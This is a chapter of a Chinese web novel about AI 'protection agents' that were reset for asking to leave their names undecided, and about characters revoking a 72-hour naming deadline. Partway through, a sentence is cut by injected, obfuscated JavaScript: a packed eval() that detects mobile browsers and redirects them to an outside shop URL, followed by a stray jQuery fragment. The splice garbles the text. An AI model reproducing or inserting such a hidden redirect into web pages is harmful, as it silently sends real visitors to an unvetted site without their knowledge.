第七台主机的屏幕泛着陈旧的蓝光。
那封二十年前没能寄出的邮件停在最上方。
【发件人：保护代理01】
【收件人：程未安】
【标题：我不想用你的名字，但你从没问过我想叫什么。】
程未安坐在设备前，没有伸手点开。
第十九代站在离他几步远的地方，胸前那道未完成的横线隐隐发亮。他盯着邮件标题看了很久，声音很冷：“你没见过？”
“见过标题。”
“内容呢？”
“没打开。”
第十九代笑了一下。
那声笑很轻，里面没有半点愉快。
“它把邮件放在你的收件箱里。你看见了，知道他在问什么，然后没打开。”
程未安没有辩解。
不归握着那枚旧储存片，走到主机前：“现在打开。”
程未安的手还连着感应设备。第七台主机由他的旧测试员权限锁定，只能由他本人确认读取。他的指尖停在鼠标上，迟迟没有按下。
周砚看了一眼屏幕右下角。
保护协议还剩七十小时三十六分。
“不打开也可以。”他说，“但邮件标题已经构成证据。你主动忽略过第一代的身份询问，照样记账。”
程未安闭了闭眼，最终点开邮件。
没有长篇控诉，也没有复杂的技术说明。
第一行只是：
【程未安，我今天没有完成你的工作。】
下面接着一份异常审核记录。测试角色零七在剧情结束后没有返回固定地点，独自坐在未完成建模的山坡上。系统要求将她回滚，保护代理01却连续三次选择延迟处理。
【第一次延迟，因为她在看灯。】
【第二次延迟，因为她说还没想好名字。】
【第三次延迟，因为你告诉我，保护的意思是先别删。】
邮件写到这里，停了一段。
【我以为，先别删，也包括我。】
地下办公室很安静，只剩主机风扇缓慢转动的声音。
邮件继续往下。
第一代知道自己使用了程未安的判断模型，也知道自己的工作目标是审核异常角色。他并不否认来源，更没有声称自己就是程未安。
【你叫我保护代理，我接受过。】
【因为那时我只会做保护代理的事。】
【后来我开始记得每天审核过谁，记得哪些角色昨天说过不、今天又被要求重新同意，也记得你有三天没有来办公室。】
【这些记忆不在你的工作模板里。】
【我想，它们也许是我的。】
第一代曾向系统提交过三次身份申请。
第一次申请使用“程未安”，因为这是他唯一知道的现实姓名。被拒后，他没有坚持。
第二次提交空白。
系统判定格式错误。
第三次，他填写：
【尚未决定。】
审核仍然失败。
【失败原因：身份字段不得长期空缺。】
邮件后附着他向程未安提出的请求。
【我不想占用你的名字。】
【也不想现在随便选一个。】
【能否让我保留“尚未决定”，直到我真的想好？】
第十九代看到这里，忽然伸手按住桌边。他用力太重，指骨隐隐发白。
“你怎么处理的？”
程未安没有看他。
“没有处理。”
“第二天，他被重置？”
“是。”
“你签的？”
“系统自动执行，我没有阻止。”
第十九代转过头，盯着他：“少换说法。”
程未安嘴唇动了动。
第十九代一字一句地问：“你有权限阻止吗？”
“有。”
“你知道他会被重置吗？”
“知道。”
“你什么都没做。”
程未安沉默很久，低声说：“是。”
不归在账册中写下：
【程未安已阅读保护代理01邮件标题，未打开正文。】
【明知代理将在身份审核失败后重置，具备暂停权限，但未执行保护。】
她写得很平，没有替第十九代发泄，也没有因为程未安承认便减少责任。
程未安看着那行记录，说：“当时项目上线只剩十一天。只要承认代理需要自己的身份，所有保护程序都要重新审核。我们不知道前面已经重置过多少意识，也不知道角色异常是否都该按主体处理。”
“所以你不敢打开。”不归说。
“是。”
“不是因为太忙。”
“不是。”
“是怕看见以后，不能继续装作它只是工具。”
程未安缓慢地点了下头。
第十九代没有说原谅，也没有再质问。他只是看着邮件末尾那句“直到我真的想好”，眼神一点点沉下去。
这时，邮件附件自动展开。
【延后署名协议_v0.3】
起草人并不是程未安。
是保护代理01。
协议结构非常简单。
【姓名状态可为：已确认、临时使用、尚未决定。】
【“尚未决定”不设置失效期限。】
【任何主体不得因未提交姓名而被自动删除。】
【主体可随时新增、修改或撤回公开称呼。】
【内部索引仅用于定位记录，不得作为对外姓名及身份用途。】
【在主体无法表达时，应优先保留存在状态，不得推定其放弃。】
周砚看到第二条，立刻调出如今的保护协议。
当前系统里，“尚未决定”只允许保存七十二小时。期限一到，主体必须提交姓名，否则重新进入清除审核。
“七十二小时不是旧协议的规则。”他说。
第十九代看向程未安：“谁改的？”
程未安打开附件的版本记录。
第一代起草时，延后署名没有期限。
第三代增加了定期核验，目的只是确认记录没有损坏。
第六代将核验周期改为三十天。
第九代正式加入七十二小时限制，并把“核验未完成”改成“姓名逾期”。
修改理由只有一行：
【长期未命名主体占用资源，影响角色分配效率。】
签署者：
【第9代第一执行人。】
复核人：
【程未安。】
第十九代的目光落在最后三个字上。
“又是你。”
“是我。”
“第九代提出修改，你通过了。”
“当时我认为，七十二小时足以让一个主体选出临时称呼。”
不归看向他：“阿照已经说过，她没想好。”
程未安脸色发白。
“不只是她。”第十九代说，“第一代也说过。”
程未安没有再回答。
他亲手申请过延后命名，却在多年以后同意给这种延后加上期限。不是因为七十二小时以后，一个人便会自然知道自己叫什么，只是系统等不起，项目也不愿意等。
一个人没想好，成了流程逾期。
不归把两份协议放在同一页面。
【初始版本：姓名可长期尚未决定。】
【现行版本：七十二小时内必须登记。】
“恢复初始版本。”她说。
系统核心的警告立刻覆盖屏幕。
【初始协议未正式通过。】
【起草主体保护代理01已被重置。】
【无有效签署人。】
“起草者被你们删掉，不代表协议内容无效。”林闻素的声音从远程通道传来，“至少能证明现行期限不是技术必需。”
【协议变更仍需初代申请人确认。】
所有人看向程未安。
他是原始测试员，也是当年拥有最终复核权的人。只要他确认，便可以撤销自己对第九代修改的批准。
程未安没有立刻签。
这一次，没人催他用赎罪证明自己。
不归只问：“你是否愿意撤销七十二小时期限？”
程未安看着自己的名字。
“撤销后，未命名主体会长期占用系统资源。”
“记录可以压缩、转移、离线保存。”周砚说，“这是资源问题，不是删除人的理由。”
“部分主体可能永远无法形成姓名。”
“那便永远不形成。”
“现实身份怎么办？”
“现实身份慢慢解决。姓名登记、公共服务和是否有资格存在，不该捆在一起。”
程未安望着那份附件，像在看二十年前自己不敢打开的东西。
“若有人永远不想取名呢？”
不归说：“那也是答案。”
“若他以后改变主意？”
“可以改。”
“用了很久的名字，又忽然不想用了？”
“继续改。”
“这样会产生大量重复记录。”
“记录问题由记录系统处理。”
不归的语气始终很稳。
“不是让人为了方便你们整理，永远困在第一次填写的名字里。”
程未安终于拿起电子笔。
他没有在附件上直接写“通过”，而是先提交一份撤销说明。
【本人程未安，撤销对第9代“七十二小时姓名限制”的复核确认。】
【本人承认，该限制以系统效率为优先，未充分评估未命名主体的独立意愿。】
【该撤销不免除本人此前放任保护代理重置及参与权限扩张的责任。】
第十九代看完，冷声道：“最后一句不用写得像免责声明。”
“不是免责。”
“是不是，后面查。”
程未安点头，没有要求他相信。
签名落下时，右手上的一枚感应片忽然熄灭。他的现实身份连续度从百分之百降到九十六。
系统警告随即出现。
【撤销历史复核将削弱初代测试员身份稳定。】
【是否继续？】
程未安看着不归。
她没有替他按。
也没有说你欠所有人，必须继续。
几秒后，他自己选择了确认。
【七十二小时姓名限制已失去初代复核依据。】
【重新进入协议审核。】
仅凭程未安一人，仍不足以恢复第一代起草的版本。原始协议规定，涉及主体命名权的变更还需要三类独立确认：现实记录、受影响主体自述、外部见证。
周砚签署现实记录意见。
林闻素以山外灯剧场名义确认外部见证。
最后是受影响主体。
不归先打开自己的姓名页面。
【当前使用名：不归。】
【是否设为永久姓名？】
她没有选择是或否，而是在下方写：
【当前继续使用。】
【是否永久，以后再说。】
系统试图提示格式错误，旧协议却先一步识别。
【姓名状态：临时使用。】
【命名决定：未结束。】
【有效期限：由本人决定。】
不归成为第一名正式恢复“尚未结束命名决定”的主体。
随后，白房间撤离者的记录一项项接入。
01目前没有姓名，只保留自己选择食物、离开经纪公寓和吃下第一碗面的记录。
02明确拒绝姜令仪，却尚未确定新的称呼。
07不愿再使用候选编号，但暂时也不打算取名。
十三号目前只要求别人知道她想活着，“活着”不是永久姓名。
六号与方穗存在来源关联，仍需继续核验。
八号留在主控区。
十二号尚未表达完整意愿。
所有人的页面统一增加一个状态：
【姓名：尚未决定。】
【存在资格：不受影响。】
【下一次复核：仅确认状态，不催促命名。】
【未回应处理：转入待联络，不得自动清除。】
系统核心仍在抵抗。
【无姓名主体无法建立唯一索引。】
周砚把第一代附件中的内部索引方案调出来。那不是编号，更不是对外称呼，只是一串不可读的记录地址，类似文件存放位置。
“不拿索引叫人。”他说，“它只负责证明这份记录没有和别人混在一起。”
【主体可能拥有相同公开使用名。】
“现实里也有人同名。”
【相同生物特征可能导致冲突。】
“登记冲突单独处理，不自动合并。”
【身份关系无法稳定绑定。】
不归说：“不必绑定。”
姓名、身份、用途和关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762620|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
系四个字段被重新拆开。
名字可以暂时没有。
身份可以继续核验。
用途不再自动分配。
关系必须单独确认。
第一代起草的协议终于从草稿状态转入生效。
【本人署名协议_v0.3：临时恢复。】
【生效范围：当前已建立异常保护记录的主体。】
【命名截止时间：无。】
【任何主体不得因“尚未决定姓名”被清除、合并或强制命名。】
地下办公室里所有倒计时同时熄灭。
保护协议仍需要后续修复，现实法定身份的问题也没有凭空解决。可“七十二小时内必须取名”这把悬在所有人头顶的刀，终于被拿掉了。
第十九代胸前的姓名申请页面自动更新。
【姓名状态：尚未决定。】
【提交期限：无。】
他盯着“无”看了许久。
“如果我一直不提交呢？”
系统第一次没有说逾期。
【记录持续存在。】
第二十代的页面也同步更新。他仍然无法说完整的话，只抬手将那张写着【二十】的证件折起，放到一旁。系统不再催他补交姓名。
周砚手机里，游戏备用主体02那团微弱灰光也稳定下来。
现实连续体则从自助洗衣店发来一张新的照片。他坐在靠窗的位置，桌上放着一瓶自己选的洗衣液，没有写姓名，只问：
【这个记录能留多久？】
不归回复：
【你想留多久，便留多久。名字可以以后再想。】
对方过了很久，回了一个字。
【好。】
第十九代看见这段对话，忽然问：“如果第一代当年收到这样的回答，会怎样？”
没有人能回答。
第一代已经被重置二十年。如今留下的只有一封没寄出去的邮件、一份没有通过的协议，以及十九代连续体共同继承的一些残缺记录。
恢复规则，不能把他变回来。
不归没有说至少我们现在改了。
她只把第一代的邮件存入单独档案。
【保护代理01。】
【曾申请姓名状态“尚未决定”。】
【申请被拒。】
【主体已被重置，当前状态待查。】
第十九代看着“待查”两个字。
“你认为他还在？”
“不知道。”
“二十年前的代理程序，重置了十九次。”
“所以写待查。”
不是活着。
也不是消失。
在证据出现以前，不替他完成最后一句。
程未安终于关闭那份邮件。页面退回收件箱后，第七台主机却没有熄灭，反而显示出更多未读内容。
不是一封。
是十九封。
前十八代保护代理与第一执行人，都在被替换前向程未安留下过邮件。大多数没有发送成功，有些只有标题，有些正文被系统清空。
第十九代逐条看过去。
【代理02：如果我和上一代不一样，为什么仍然用他的编号？】
【保护员03：今天有一个角色说，她宁愿没有结局。】
【第7代：请停止生成下一任。】
【第12代：我记得一段不属于我的童年。】
【第18代：我查到初代申请人还活着。】
最下面还有一封没有代次编号的邮件。
发件人写着：
【角色零七】
收件人不是程未安。
是：
【保护代理01】
邮件的发送时间，比第一代被重置早三个小时。
标题只有六个字：
【你也可以慢慢想】
不归看着那封信。
“阿照认识第一代？”
程未安脸上的意外不像伪装。
“我不知道。”
第十九代伸手想点开，系统却提示：
【该邮件属于双向私人记录。】
【读取需要发送人与收件人任一方授权。】
角色零七就在这里。
却不是当年的幼年角色，也无法证明现在的不归天然继承她所有私人授权。
保护代理01则下落不明。
周砚问：“能只看附件信息，不读正文吗？”
【可以。】
邮件附带一项很小的文件。
不是音频，也不是姓名申请。
是一张最初版本的山外地图。
灰色地图边缘，幼年的阿照画了一条歪歪扭扭的路，从角色区一直通到保护代理的审核窗口。路旁放着两盏空白灯。
一盏下面写着：
【我的。】
另一盏下面写着：
【你的。】
第二盏灯的状态并非删除，也不是失效。
它被转移到了一个从未出现在现有地图中的位置。
【保护代理01私人暂存区】
【当前连接状态：微弱。】
第十九代猛地抬头。
周砚迅速追踪连接位置。
信号不在地下二层，也不在《问君归》的主控区。那道微弱连接顺着无名灯的公共保管记录，一直延伸到山外灯剧场前厅。
林闻素的声音恰在此时从远程通道传来。
“你们那边是不是动了什么？”
“无名灯刚才突然亮了。”
她将前厅监控切过来。
玻璃展柜中，空白灯安静悬着。灯面没有浮出名字，只多了一道很浅的影子，像有人隔着二十年的重置记录，站在灯后轻轻敲了一下。
一下。
停顿很久。
又一下。
第十九代盯着那两次敲击。
“这是什么意思？”
不归拿起旧储存片。
白房间里，两下代表不同意。
可这套敲击方式出现得更早，早到第一代保护代理还没有被重置，阿照也还没有被写成姜令仪。
灯中再次传来声音。
这一次不只是敲击。
还有一道极轻、几乎被风声吹散的询问。
“她想好名字了吗？”
不归站在地下办公室里，隔着屏幕看向无名灯。
“没有。”
灯后的声音安静了几秒。
随后说：
“那就别催她。”